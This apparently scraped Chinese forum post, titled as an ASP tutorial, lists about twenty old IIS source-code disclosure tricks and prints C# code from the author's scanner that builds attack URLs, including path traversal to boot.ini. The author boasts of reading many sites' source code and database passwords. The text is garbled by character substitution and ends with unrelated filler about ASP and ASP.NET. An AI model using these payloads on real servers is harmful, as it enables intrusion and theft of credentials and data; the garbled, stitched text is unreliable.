ASP教程之asp毛病集
ASP由于使用了COM组件所以它会变的十分强大,但是这样的强大由于WindowsNT系统最初的设计问题而会引发大量的安全问题。只要在这样的组件或是操作中一不注意,哪么外部攻击就可以取得相当高的权限而导致网站瘫痪或者数据丢失;尽人皆知windows平台毛病百出,补钉一个接一个,但老是补也补不净。我把我所晓得的20种看asp源码的办法总结了一下,而且用c#写了个使用程序来扫描这些毛病,发明固然年夜部分的办法已不起做用,但仍是有一些丧家之犬的:),了局这两无邪看到很多站的源代码,包含数据库暗码,假如用access的能够把库下载上去,而用sqlserver的假如不是用udl,dsn等来毗连的话,也能够经由过程tcp/ip收集库毗连到数据库,随心所欲呀。先面把这20种办法列鄙人面:.%81
:ATA
%2e
%2e%41sp
+.htr
longhtr
.bak
codebrws.asp
showcode.asp
null.htw
qfullhit.htw
qsumrhit.htw
query.idq
search/qfullhit.htw
search/qsumrhit.htw
iirturnh.htw
.htw
Translate
上边这些毛病后面10几条是经由过程在asp文件后间接加上,如%81就是xxx.asp%81,前面这些都是经由过程iis自带的例子或体系毛病完成的,最出格的是那种translate办法,它间接经由过程扫瞄器是没法利用的,必需同服务器创建tcp/ip的socket毗连,发送哀求才行,详细每一个毛病怎样利用
switch(this.cboMethod.SelectedIndex)
{
case0://间接读取
strRequestFile=strServer+strUrl;
break;
case5://%2e%41sp
strRequestFile=strServer+strPath+strFirst
+"%2e%41sp";
break;
case8://longhtr
strRequestFile=strServer+strUrl
+"+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr";
break;
case10://codebrws.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+strUrl;
break;
case11://showcode.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+"/msadc/../../../../boot.ini";
break;
case12://null.htw
strRequestFile=strServer+"/null.htw?CiWebHitsFile="
+strUrl+"%20&CiRestriction=none&CiHiliteType=Full";
break;
case13://qfullhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
case14://qsumrhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
case15://query.idq
strRequestFile=strServer+"/query.idq?CiTemplate=/../../boot.ini"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break;
case16://search/qfullhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
case17://search/qsumrhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
case18://iirturnh.htw
strRequestFile=strServer+"/iishelp/iis/misc/iirturnh.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
case19://.htw
strRequestFile=strServer+strUrl
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;
default:
strRequestFile=strServer+strUrl+this.cboMethod.Text;
问题是他们究竟是喜欢他们是使用软件时,速度快还是速度慢好.(当然在3秒以内).无论是他们输入资料时,查找资料时,分析资料时. 虽然ASP也有很多网络教程。但是这些都不系统。都是半路出家,只是从一个例子告诉你怎么用。不会深入讨论,更不会将没有出现在例子里的方法都一一列举出来。 代码逻辑混乱,难于管理:由于ASP是脚本语言混合html编程,所以你很难看清代码的逻辑关系,并且随着程序的复杂性增加,使得代码的管理十分困难,甚至超出一个程序员所能达到的管理能力,从而造成出错或这样那样的问题。 代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。 ASP.Net和ASP的最大区别在于编程思维的转换,而不仅仅在于功能的增强。ASP使用VBS/JS这样的脚本语言混合html来编程,而那些脚本语言属于弱类型、面向结构的编程语言,而非面向对象,这就明显产生以下几个问题: ASP主要是用好六个对象,其实最主要的是用好其中两个:response和request,就可以随心所欲地控制网页变换和响应用户动作了。 Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点) 作为IE上广为流传的动态网页开发技术,ASP以它简单易学博得了广大WEB程序爱好这的青睐,而且它对运行环境和开发品台的不挑剔,以及有大量有效的参考手册,极大的推广了它的发展。 学习是为了用的,是为了让你的程序产生价值,把握住这个原则会比较轻松点。除此之外,课外时间一定要多参加一些社会实践活动,来锻炼自己的能力。
页:
[1]